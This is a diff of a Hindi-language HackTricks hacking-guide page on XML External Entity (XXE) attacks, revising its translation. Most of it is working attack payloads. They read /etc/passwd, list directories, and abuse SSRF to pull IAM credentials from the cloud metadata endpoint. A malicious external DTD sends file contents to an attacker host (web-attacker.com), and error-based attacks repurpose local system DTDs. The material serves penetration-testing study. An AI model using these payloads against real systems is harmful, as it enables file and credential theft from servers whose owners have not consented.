* [https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में** दिखाया जाए या **HackTricks को PDF में डाउनलोड** करें तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर **फॉलो** करें।
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड github रेपो में PR जमा करके।
</details>

View file

@ -1,4 +1,4 @@
# XXE - XEE - XML बाह्य एंटिटी
# XXE - XEE - XML External Entity
<details>
@ -6,35 +6,33 @@
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, हैकट्रिक्स** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
* **शामिल हों** 💬 [**डिस्कॉर्ड ग्रुप**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम ग्रुप**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके।
</details>
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
## XML मूलभूत
{% embed url="https://websec.nl/" %}
## XML Basics
XML एक मार्कअप भाषा है जो डेटा स्टोरेज और परिवहन के लिए डिज़ाइन की गई है, जिसमें एक लचीला संरचना है जो वर्णनात्मक नामित टैग का उपयोग करने की अनुमति देती है। यह HTML से भिन्न है क्योंकि यह पूर्वनिर्धारित टैग सेट से सीमित नहीं है। XML का महत्व JSON के उछाल के साथ कम हो गया है, भले ही इसकी प्रारंभिक भूमिका AJAX प्रौद्योगिकी में थी।
- **एंटिटी के माध्यम से डेटा प्रतिनिधित्व**: XML में एंटिटी डेटा का प्रतिनिधित्व संभावित करती है, विशेष वर्ण जैसे `&lt;` और `&gt;`, जो `<` और `>` के समर्थन के लिए हैं ताकि XML के टैग सिस्टम के साथ संघर्ष न हो।
- **XML तत्वों की परिभाषा**: XML तत्वों की परिभाषा की अनुमति है, जिसमें तत्वों को कैसे संरचित किया जाना चाहिए और उनमें कौन सी सामग्री हो सकती है, जिसमें किसी भी प्रकार की सामग्री से विशेष बच्चा तत्वों तक।
- **दस्तावेज़ प्रकार परिभाषा (DTD)**: DTD XML में दस्तावेज़ की संरचना और उसमें शामिल की जा सकने वाली डेटा की प्रकारों के लिए महत्वपूर्ण हैं। वे आंतरिक, बाह्य, या एक संयोजन हो सकते हैं, जो दस्तावेज़ को कैसे स्वरूपित किया जाएगा और सत्यापित किया जाएगा, उसके मार्गदर्शन करते हैं।
- **कस्टम और बाह्य एंटिटी**: XML DTD में लचीले डेटा प्रतिनिधित्व के लिए कस्टम एंटिटी का समर्थन करता है। URL के साथ परिभाषित बाह्य एंटिटी, विशेष रूप से XML बाह्य एंटिटी (XXE) हमलों में सुरक्षा संबंधित चिंताएं उठाते हैं, जो XML पार्सर्स के बाह्य डेटा स्रोतों को कैसे उपयोग करते हैं, का शोध करते हैं: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
- **पैरामीटर एंटिटी के साथ XXE डिटेक्शन**: XXE वंशावली की खोज के लिए, विशेष रूप से जब पार्सर सुरक्षा उपाय के कारण सामान्य विधियाँ विफल हो जाती हैं, XML पैरामीटर एंटिटी का उपयोग किया जा सकता है। ये एंटिटी बाह्य-बैंड डिटेक्शन तकनीकों के लिए अनुमति देते हैं, जैसे DNS लुकअप या नियंत्रित डोमेन पर HTTP अनुरोध को ट्रिगर करना, विकल्पी रूप से XXE वंशावली की पुष्टि करने के लिए।
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
* **एंटिटी के माध्यम से डेटा प्रतिनिधित्व**: XML में एंटिटी डेटा का प्रतिनिधित्व करने की अनुमति देती है, विशेष वर्ण जैसे `&lt;` और `&gt;`, जो `<` और `>` का संघर्ष टैग प्रणाली के साथ टकराव रोकने के लिए हैं।
* **XML तत्वों की परिभाषा**: XML तत्वों की परिभाषा की अनुमति है, जिसमें तत्वों को कैसे संरचित किया जाना चाहिए और उनमें कौन सामग्री हो सकती है, किसी भी प्रकार की सामग्री से विशेष बच्चा तत्वों तक।
* **दस्तावेज़ प्रकार परिभाषा (DTD)**: DTD XML में दस्तावेज़ की संरचना और उसमें शामिल किए जा सकने वाले डेटा के प्रकार की परिभाषा के लिए महत्वपूर्ण हैं। वे आंतरिक, बाह्य, या एक संयोजन हो सकते हैं, दस्तावेज़ को कैसे स्वरूपित किया जाए और सत्यापित किया जाए, इसका मार्गदर्शन करते हैं।
* **कस्टम और बाह्य एंटिटी**: XML DTD में लचीले डेटा प्रतिनिधित्व के लिए कस्टम एंटिटी का समर्थन करता है। बाह्य एंटिटी, एक URL के साथ परिभाषित, सुरक्षा संबंधित चिंताएं उठाते हैं, विशेष रूप से XML External Entity (XXE) हमलों में, जो XML पार्सर्स के बाह्य डेटा स्रोतों को कैसे उपयोग करते हैं, का शोध करते हैं: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
* **पैरामीटर एंटिटी के साथ XXE डिटेक्शन**: XXE वंशावली की खोज के लिए, विशेष रूप से जब पार्सर सुरक्षा उपाय के कारण पारंपरिक विधियों में विफल हो जाते हैं, XML पैरामीटर एंटिटी का उपयोग किया जा सकता है। ये एंटिटी बाह्य-बैंड डिटेक्शन तकनीकों के लिए अनुमति देते हैं, जैसे DNS लुकअप या नियंत्रित डोमेन पर HTTP अनुरोध को ट्रिगर करना, विकल्पी रूप से XXE की वंशावली की पुष्टि करने के लिए।
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
* `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
## मुख्य हमले
**[इन हमलों का अधिकांश पोर्टस्विगर्स XEE लैब्स का उपयोग करके परीक्षण किया गया था: https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe)**
[**इन हमलों का बहुतायत अद्भुत पोर्टस्विगर्स XEE लैब्स का उपयोग करके परीक्षण किया गया था: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
### नई एंटिटी परीक्षण
@ -47,7 +45,7 @@ XML एक मार्कअप भाषा है जो डेटा स्
<storeId>1</storeId>
</stockCheck>
```
![](<../.gitbook/assets/image (220).png>)
![](<../.gitbook/assets/image (867).png>)
### फ़ाइल पढ़ें
@ -59,9 +57,9 @@ XML एक मार्कअप भाषा है जो डेटा स्
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<data>&example;</data>
```
![](<../.gitbook/assets/image (221).png>)
![](<../.gitbook/assets/image (83).png>)
यह दूसरा मामला उपयोगी होना चाहिए अगर वेब सर्वर PHP का उपयोग कर रहा है (पोर्टस्विगर्स लैब्स का मामला नहीं है)
यह दूसरा मामला उपयोगी होना चाहिए अगर वेब सर्वर PHP का उपयोग कर रहा है (पोर्टस्विगर्स लैब्स का मामला नहीं)
```xml
<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
@ -79,11 +77,11 @@ XML एक मार्कअप भाषा है जो डेटा स्
<storeId>1</storeId>
</stockCheck3>
```
![](<../.gitbook/assets/image (222) (1).png>)
![](<../.gitbook/assets/image (750).png>)
### निर्देशिका सूची
**जावा** आधारित एप्लिकेशन में एक ऐसा संभावित हो सकता है कि XXE के माध्यम से एक डायरेक्टरी की सामग्री को सूचीबद्ध किया जा सकता है जैसे (फ़ाइल के बजाय केवल निर्देशिका के लिए पूछा जा रहा है):
**जावा** आधारित एप्लिकेशन में एक डायरेक्टरी की सामग्री को एक्सएई के माध्यम से सूचीत किया जा सकता है जैसे कि (फ़ाइल के बजाय डायरेक्टरी के लिए केवल पूछ रहा है):
```xml
<!-- Root / -->
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
@ -93,28 +91,27 @@ XML एक मार्कअप भाषा है जो डेटा स्
```
### SSRF
एक XXE का उपयोग करके बादल में एक SSRF का दुरुपयोग किया जा सकता है
एक XXE का उपयोग करके बादल के अंदर एक SSRF का दुरुपयोग किया जा सकता है
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin"> ]>
<stockCheck><productId>&xxe;</productId><storeId>1</storeId></stockCheck>
```
### ब्लाइंड एसएसआरएफ
### ब्लाइंड SSRF
**पहले कमेंट की गई तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुंचा सकते हैं जिसे आप नियंत्रित करते हैं ताकि यह अपनी कमजोरियों को दिखा सके। लेकिन, अगर यह काम नहीं कर रहा है, शायद यह **एक्सएमएल एंटिटीज की अनुमति नहीं है**, उस मामले में आप **एक्सएमएल पैरामीटर एंटिटीज** का उपयोग करने की कोशिश कर सकते हैं:
**पिछले टिप्पणीत तकनीक** का उपयोग करके आप सर्वर को एक सर्वर तक पहुंचा सकते हैं जिसे आप निराश करना चाहते हैं। लेकिन, अगर यह काम नहीं कर रहा है, शायद **XML एंटिटीज की अनुमति नहीं है**, उस मामले में आप **XML पैरामीटर एंटिटीज** का प्रयास कर सकते हैं:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
### "अंधा" SSRF - डेटा आउट-ऑफ-बैंड निकालें
### "ब्लाइंड" SSRF - डेटा को आउट-ऑफ-बैंड निकालें
**इस अवसर पर हम सर्वर को एक नया DTD लोड कराने जा रहे हैं जिसमें एक हानिकारक पेलोड होगा जो एक फ़ाइल की सामग्री को HTTP अनुरोध के माध्यम से भेजेगा (बहु-लाइन फ़ाइलों के लिए आप इसे** _**ftp://**_**के माध्यम से निकालने की कोशिश कर सकते हैं)। यह व्याख्यान** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)** पर आधारित है।**
**इस अवसर में हम सर्वर को एक नए DTD को लोड करने के लिए बनाएंगे जिसमें एक हानिकारक पेलोड होगा जो एक फ़ाइल की सामग्री को HTTP अनुरोध के माध्यम से भेजेगा (**बहु-लाइन फ़ाइलों के लिए आप इसे एफ़टीपी के माध्यम से निकालने की कोशिश कर सकते हैं** _**ftp://**_ **का उपयोग करके उदाहरण के लिए इस बुनियादी सर्वर का उपयोग करें [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). यह व्याख्या** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)** पर आधारित है।**
िए गए हानिकारक DTD में, डेटा निकालने के लिए एक श्रृंखला कदम चलाए जाते हैं:
ी गई हानिकारक DTD में, डेटा निकालने के लिए एक सिरीज़ के कदम चलाए जाते हैं:
### हानिकारक DTD उदाहरण:
संरचना निम्नलिखित है:
```xml
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
@ -124,17 +121,15 @@ XML एक मार्कअप भाषा है जो डेटा स्
इस DTD द्वारा निष्पादित चरण शामिल हैं:
1. **पैरामीटर एंटिटी की परिभाषा:**
- एक XML पैरामीटर एंटिटी, `%file`, बनाई जाती है, `/etc/hostname` फ़ाइल की सामग्री को पढ़ती है।
- एक और XML पैरामीटर एंटिटी, `%eval`, परिभाषित की जाती है। यह नयी XML पैरामीटर एंटिटी, `%exfiltrate`, डायनेमिक रूप से घोषित करती है। `%exfiltrate` एंटिटी को अटैकर के सर्वर पर HTTP अनुरोध भेजने के लिए सेट किया जाता है, URL के क्वेरी स्ट्रिंग में `%file` एंटिटी की सामग्री को पारित करते हुए।
* एक XML पैरामीटर एंटिटी, `%file`, बनाई गई है, `/etc/hostname` फ़ाइल की सामग्री को पढ़ रही है।
* एक और XML पैरामीटर एंटिटी, `%eval`, परिभाषित की गई है। यह नया XML पैरामीटर एंटिटी, `%exfiltrate`, डायनामिक रूप से घोषित करती है। `%exfiltrate` एंटिटी को अटैकर के सर्वर पर एक HTTP अनुरोध करने के लिए सेट किया जाता है, URL के क्वेरी स्ट्रिंग में `%file` एंटिटी की सामग्री को पारित करते हुए।
2. **एंटिटी का निष्पादन:**
- `%eval` एंटिटी का उपयोग किया जाता है, जिससे `%exfiltrate` एंटिटी के डायनमिक घोषणा का निष्पादन होता है।
- फिर `%exfiltrate` एंटिटी का उपयोग किया जाता है, जिससे निर्दिष्ट URL पर फ़ाइल की सामग्री के साथ HTTP अनुरोध को ट्रिगर किया जाता है।
* `%eval` एंटिटी का उपयोग किया जाता है, जिससे `%exfiltrate` एंटिटी के डायनमिक घोषणा का निष्पादन होता है।
* फिर `%exfiltrate` एंटिटी का उपयोग किया जाता है, जिससे निर्दिष्ट URL पर फ़ाइल की सामग्री के साथ एक HTTP अनुरोध को सक्रिय किया जाता है।
हमलावत यह दुरुपयोगी DTD अक्सर अपने नियंत्रण में एक सर्वर पर होस्ट करता है, सामान्यत: एक URL पर जैसे `http://web-attacker.com/malicious.dtd`
हमलावर अपने नियंत्रण में एक सर्वर पर इस दुराचारी DTD को होस्ट करता है, सामान्यत: एक URL पर जैसे `http://web-attacker.com/malicious.dtd`
**XXE पेलोड:**
एक विकल्पी एप्लिकेशन का शोषण करने के लिए हमलावर एक XXE पेलोड भेजता है:
**XXE पेलोड:** एक विकल्पी एप्लिकेशन को शोषित करने के लिए हमलावार एक XXE पेलोड भेजता है:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
@ -142,14 +137,14 @@ XML एक मार्कअप भाषा है जो डेटा स्
```
### त्रुटि आधारित (बाह्य DTD)
**इस मामले में हम सर्वर को एक दुरुपयोगी DTD लोड कराने जा रहे हैं जो एक फ़ाइल की सामग्री को एक त्रुटि संदेश के भीतर दिखाएगा (यह केवल तभी मान्य है अगर आप त्रुटि संदेश देख सकते हैं)।** [**यहां से उदाहरण।**](https://portswigger.net/web-security/xxe/blind)
**इस मामले में हम सर्वर को एक दुरुपयोगी DTD लोड कराने जा रहे हैं जो एक फ़ाइल की सामग्री को एक त्रुटि संदेश के अंदर दिखाएगा (यह केवल तभी मान्य है अगर आप त्रुटि संदेश देख सकते हैं)।** [**यहां से उदाहरण।**](https://portswigger.net/web-security/xxe/blind)
एक दुरुपयोगी बाह्य दस्तावेज़ प्रकार परिभाषण (DTD) का उपयोग करके एक XML पार्सिंग त्रुटि संदेश को ट्रिगर किया जा सकता है, जिसमें `/etc/passwd` फ़ाइल की सामग्री प्रकट होती है। यह निम्नलिखित चरणों के माध्यम से पूरा किया जाता है:
एक दुरुपयोगी बाह्य दस्तावेज़ प्रकार परिभाषण त्रुटि संदेश, `/etc/passwd` फ़ाइल की सामग्री को उजागर कर सकता है, एक दुरुपयोगी बाह्य दस्तावेज़ प्रकार परिभाषण (DTD) का उपयोग करके किया जा सकता है। इसे निम्नलिखित चरणों के माध्यम से पूरा किया जाता है:
1. `file` नामक एक XML पैरामीटर एंटिटी परिभाषित की जाती है, जिसमें `/etc/passwd` फ़ाइल की सामग्री होती है।
2. `eval` नामक एक XML पैरामीटर एंटिटी परिभाषित की जाती है, जिसमें एक और XML पैरामीटर एंटिटी `error` के लिए एक गतिशील घोषणा शामिल होती है। यह `error` एंटिटी, जब मूल्यांकन किया जाता है, एक अस्थायी फ़ाइल लोड करने का प्रयास करती है, जिसमें `file` एंटिटी की सामग्री उसका नाम होती है।
1. एक XML पैरामीटर एंटिटी नामक `file` परिभाषित की जाती है, जिसमें `/etc/passwd` फ़ाइल की सामग्री होती है।
2. एक XML पैरामीटर एंटिटी नामक `eval` परिभाषित की जाती है, जिसमें एक और XML पैरामीटर एंटिटी नामक `error` के लिए एक गतिशील घोषणा शामिल होती है। यह `error` एंटिटी, जब मूल्यांकन किया जाता है, एक अवस्थित फ़ाइल लोड करने का प्रयास करती है, जिसमें `file` एंटिटी की सामग्री उसका नाम होती है।
3. `eval` एंटिटी को आमंत्रित किया जाता है, जिससे `error` एंटिटी की गतिशील घोषणा होती है।
4. `error` एंटिटी को आमंत्रित करने से एक अस्थायी फ़ाइल लोड करने का प्रयास होता है, जिससे त्रुटि संदेश उत्पन्न होता है जिसमें `/etc/passwd` फ़ाइल की सामग्री फ़ाइल के नाम के रूप में शामिल होती है।
4. `error` एंटिटी को आमंत्रित करने से एक अवस्थित फ़ाइल लोड करने का प्रयास होता है, जिससे त्रुटि संदेश उत्पन्न होता है जिसमें `/etc/passwd` फ़ाइल की सामग्री फ़ाइल के नाम के रूप में शामिल होती है।
निम्नलिखित XML के साथ दुरुपयोगी बाह्य DTD को आमंत्रित किया जा सकता है:
```xml
@ -159,11 +154,11 @@ XML एक मार्कअप भाषा है जो डेटा स्
```
### **त्रुटि आधारित (सिस्टम DTD)**
तो बाहरी बैंड इंटरेक्शन्स ब्लॉक किए जाने पर ब्लाइंड XXE वंलरेबिलिटी के बारे में क्या है (बाहरी कनेक्शन उपलब्ध नहीं है)?.
तो बाहरी बैंड इंटरेक्शन ब्लॉक किए जाने पर ब्लाइंड XXE वंलरेबिलिटी क्या है (बाहरी कनेक्शन उपलब्ध नहीं है)?.
XML भाषा विनिर्देश में एक छल के द्वारा संवेदनशील डेटा को उजागर कर सकता है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाएँ मिलाता है। यह समस्या बाहरी रूप से घोषित एंटिटी के आंतरिक पुनर्निर्देशन की अनुमति देती है, जो त्रुटि आधारित XXE हमलों को करने की सुविधा प्रदान करती है। ऐसे हमले XML पैरामीटर एंटिटी के पुनर्निर्देशन का शिकार होते हैं, जिसे पहले से बाहरी DTD में घोषित किया गया है, आंतरिक DTD से। जब सर्वर द्वारा बाहरी बैंड कनेक्शन ब्लॉक किए जाते हैं, तो हमलावरों को हमला करने के लिए स्थानीय DTD फ़ाइलों पर निर्भर होना पड़ता है, जिसका उद्देश्य पार्शिंग त्रुटि को उत्पन्न करना है जिससे संवेदनशील जानकारी प्रकट हो
XML भाषा विनिर्देश में एक खामी हो सकती है जब एक दस्तावेज़ का DTD आंतरिक और बाहरी घोषणाएँ मिलाता है। यह समस्या बाहरी रूप से घोषित एंटिटी का आंतरिक पुनर्निर्धारण संभव बनाती है, जो त्रुटि आधारित XXE हमलों को करने में सहायक होती है। ऐसे हमले बाहरी DTD में पहले से घोषित एक XML पैरामीटर एंटिटी के पुनर्निर्धारण का शिकार होते हैं, जो एक आंतरिक DTD से किया जाता है। जब सर्वर द्वारा बाहरी बैंड कनेक्शन ब्लॉक किए जाते हैं, तो हमलावरों को आक्रमण करने के लिए स्थानीय DTD फ़ाइलों पर निर्भर होना पड़ता है, संवेदनशील जानकारी प्रकट करने के लिए एक पार्सिंग त्रुटि को उत्पन्न करने का उद्देश्य रखते हैं
समझौता करें जहां सर्वर की फ़ाइल सिस्टम में `/usr/local/app/schema.dtd` पर एक DTD फ़ाइल होती है, जिसमें `custom_entity` नामक एक एंटिटी को परिभाषित किया गया है। एक हमलावर निम्नलिखित रूप में एक हाइब्रिड DTD प्रस्तुत करके `/etc/passwd` फ़ाइल की सामग्री को प्रकट करने के लिए एक XML पार्सिंग त्रुटि उत्पन्न कर सकता है:
समझौता करें जहां सर्वर की फ़ाइल सिस्टम में `/usr/local/app/schema.dtd` पर एक DTD फ़ाइल होती है, जिसमें `custom_entity` नामक एक एंटिटी परिभाषित होती है। एक हमलावर निम्नलिखित रूप में एक हाइब्रिड DTD प्रस्तुत करके `/etc/passwd` फ़ाइल की सामग्री प्रकट करने के लिए एक XML पार्सिंग त्रुटि उत्पन्न कर सकता है:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@ -176,11 +171,11 @@ XML भाषा विनिर्देश में एक छल के द
%local_dtd;
]>
```
इस DTD द्वारा निर्दिष्ट चरणों का पालन किया जाता है:
इस DTD द्वारा निर्दिष्ट चरण निष्पादित किए जाते हैं:
- XML पैरामीटर एंटिटी जिसका नाम `local_dtd` है, उसमें सर्वर की फ़ाइल सिस्टम पर स्थित बाह्य DTD फ़ाइल शामिल है।
- `custom_entity` XML पैरामीटर एंटिटी के लिए पुनर्निर्धारण होता है, जो पहले बाह्य DTD में परिभाषित था, एक [त्रुटि-आधारित XXE उत्पीड़न](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को ढकने के लिए। यह पुनर्निर्धारण एक पार्सिंग त्रुटि को उत्पन्न करने के लिए डिज़ाइन किया गया है, जिससे `/etc/passwd` फ़ाइल की सामग्री उजागर होती है।
- `local_dtd` एंटिटी का उपयोग करके, बाह्य DTD का उपयोग किया जाता है, जिसमें नए रूप में परिभाषित `custom_entity` शामिल होता है। इन क्रियाओं के अनुक्रम से, उपयोग के लिए लक्षित त्रुटि संदेश का उत्सर्जन होता है जिसे उत्पीड़न द्वारा लक्षित किया गया है।
* XML पैरामीटर एंटिटी जिसका नाम `local_dtd` है, उसमें सर्वर की फ़ाइल सिस्टम पर स्थित बाह्य DTD फ़ाइल को शामिल किया जाता है।
* `custom_entity` XML पैरामीटर एंटिटी के लिए पुनर्निर्धारण होता है, जो पहले बाह्य DTD में परिभाषित था, एक [त्रुटि-आधारित XXE उत्पीड़न](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) को ढकने के लिए। इस पुनर्निर्धारण का उद्देश्य एक पार्सिंग त्रुटि को उत्पन्न करना है, जिससे `/etc/passwd` फ़ाइल की सामग्री उजागर होती है।
* `local_dtd` एंटिटी का उपयोग करके, बाह्य DTD को सक्रिय किया जाता है, जिसमें नए रूप में परिभाषित `custom_entity` शामिल होता है। इन क्रियाओं के अनुक्रम से, उत्पीड़न द्वारा लक्षित त्रुटि संदेश का उत्पादन होता है।
**वास्तविक दुनिया का उदाहरण:** GNOME डेस्कटॉप परिवेश का उपयोग करने वाले सिस्टमों में अक्सर `/usr/share/yelp/dtd/docbookx.dtd` पर एक DTD होता है जिसमें `ISOamso` नामक एंटिटी होती है।
```xml
@ -197,24 +192,24 @@ XML भाषा विनिर्देश में एक छल के द
]>
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
```
![](<../.gitbook/assets/image (224).png>)
![](<../.gitbook/assets/image (622).png>)
जैसा कि यह तकनीक एक **आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD खोजने की आवश्यकता है**। आप इसे **इंस्टॉल करके** कर सकते हैं **वही ऑपरेटिंग सिस्टम / सॉफ्टवेयर** जो सर्वर का उपयोग कर रहा है और **कुछ डिफ़ॉल्ट DTDs** खोजने के लिए, या सिस्टम्स के अंदर से **डिफ़ॉल्ट DTDs** की **सूची पकड़ने** और **जांचने** के लिए किसी भी मौजूदा है:
जैसा कि यह तकनीक एक **आंतरिक DTD का उपयोग करती है, आपको पहले एक मान्य DTD खोजने की आवश्यकता है**। आप ऐसा **कर सकते हैं जब आप सर्वर का उपयोग कर रहे हैं वही एक ओएस / सॉफ्टवेयर इंस्टॉल करके** और **कुछ डिफ़ॉल्ट DTDs खोजने**, या सिस्टम्स के अंदर **कुछ डिफ़ॉल्ट DTDs** की **सूची पकड़ने** और **जांचने** के लिए कर सकते हैं:
```xml
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>
```
अधिक जानकारी के लिए [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind) देखें
अधिक जानकारी के लिए देखें [https://portswigger.net/web-security/xxe/blind](https://portswigger.net/web-security/xxe/blind)
### सिस्टम में DTDs खोजना
निम्नलिखित शानदार github रेपो में आप **सिस्टम में मौजूद DTDs के पथ** पा सकते हैं:
निम्नलिखित शानदार github रेपो में आप **सिस्टम में मौजूद DTDs के पथ** ढूंढ सकते हैं:
{% embed url="https://github.com/GoSecure/dtd-finder/tree/master/list" %}
इसके अतिरिक्त, यदि आपके पास **पीड़ित सिस्टम का डॉकर इमेज** है, तो आप इसी रेपो के उपकरण का उपयोग करके **इमेज को स्कैन** कर सकते हैं और सिस्टम में मौजूद **DTDs** के पथ को **खोज** सकते हैं। [गिथब के Readme](https://github.com/GoSecure/dtd-finder) को पढ़ें और सीखें।
इसके अतिरिक्त, यदि आपके पास **पीड़ित सिस्टम का डॉकर इमेज** है, तो आप इसी रेपो के उपकरण का उपयोग करके **इमेज को स्कैन** कर सकते हैं और **सिस्टम में मौजूद DTDs का पथ खोज सकते हैं**। [गिथब के Readme](https://github.com/GoSecure/dtd-finder) को पढ़ें और सीखें कैसे
```bash
java -jar dtd-finder-1.2-SNAPSHOT-all.jar /tmp/dadocker.tar
@ -226,40 +221,41 @@ Testing 0 entities : []
[=] Found a DTD: /tomcat/lib/servlet-api.jar!/jakarta/servlet/resources/XMLSchema.dtd
Testing 0 entities : []
```
### XXE के माध्यम से ऑफिस ओपन XML पार्सर्स
### XXE के माध्यम से ऑफिस ओपन XML पार्सर
इस हमले का और विस्तृत विवरण के लिए, **[इस शानदार पोस्ट](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) के दूसरे खंड की जाँच करें**
इस हमले का और विस्तृत व्याख्या के लिए, **[इस अद्भुत पोस्ट](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/)** के दूसरे खंड की जाँच करें।
**कई वेब एप्लिकेशन्स द्वारा माइक्रोसॉफ्ट ऑफिस दस्तावेज़ अपलोड करने की क्षमता** प्रदान की जाती है, जो फिर इन दस्तावेज़ों से कुछ विशेष विवरण निकालते हैं। उदाहरण के लिए, एक वेब एप्लिकेशन उपयोगकर्ताओं को एक XLSX प्रारूप स्प्रेडशीट अपलोड करके डेटा आयात करने की अनुमति देता है। पार्सर को स्प्रेडशीट से डेटा निकालने के लिए, यह अवश्यंभावी रूप से कम से कम एक XML फ़ाइल का पार्स करना होगा।
**कई वेब एप्लिकेशन्स द्वारा माइक्रोसॉफ्ट ऑफिस दस्तावेज़ अपलोड करने की क्षमता** प्रदान की जाती है, जो फिर इन दस्तावेज़ से कुछ विशेष विवरण निकालते हैं। उदाहरण के लिए, एक वेब एप्लिकेशन उपयोगकर्ताओं को एक XLSX प्रारूप स्प्रेडशीट अपलोड करके डेटा आयात करने की अनुमति देता है। स्प्रेडशीट से डेटा निकालने के लिए पार्सर को कम से कम एक XML फ़ाइल का पार्स करना होगा।
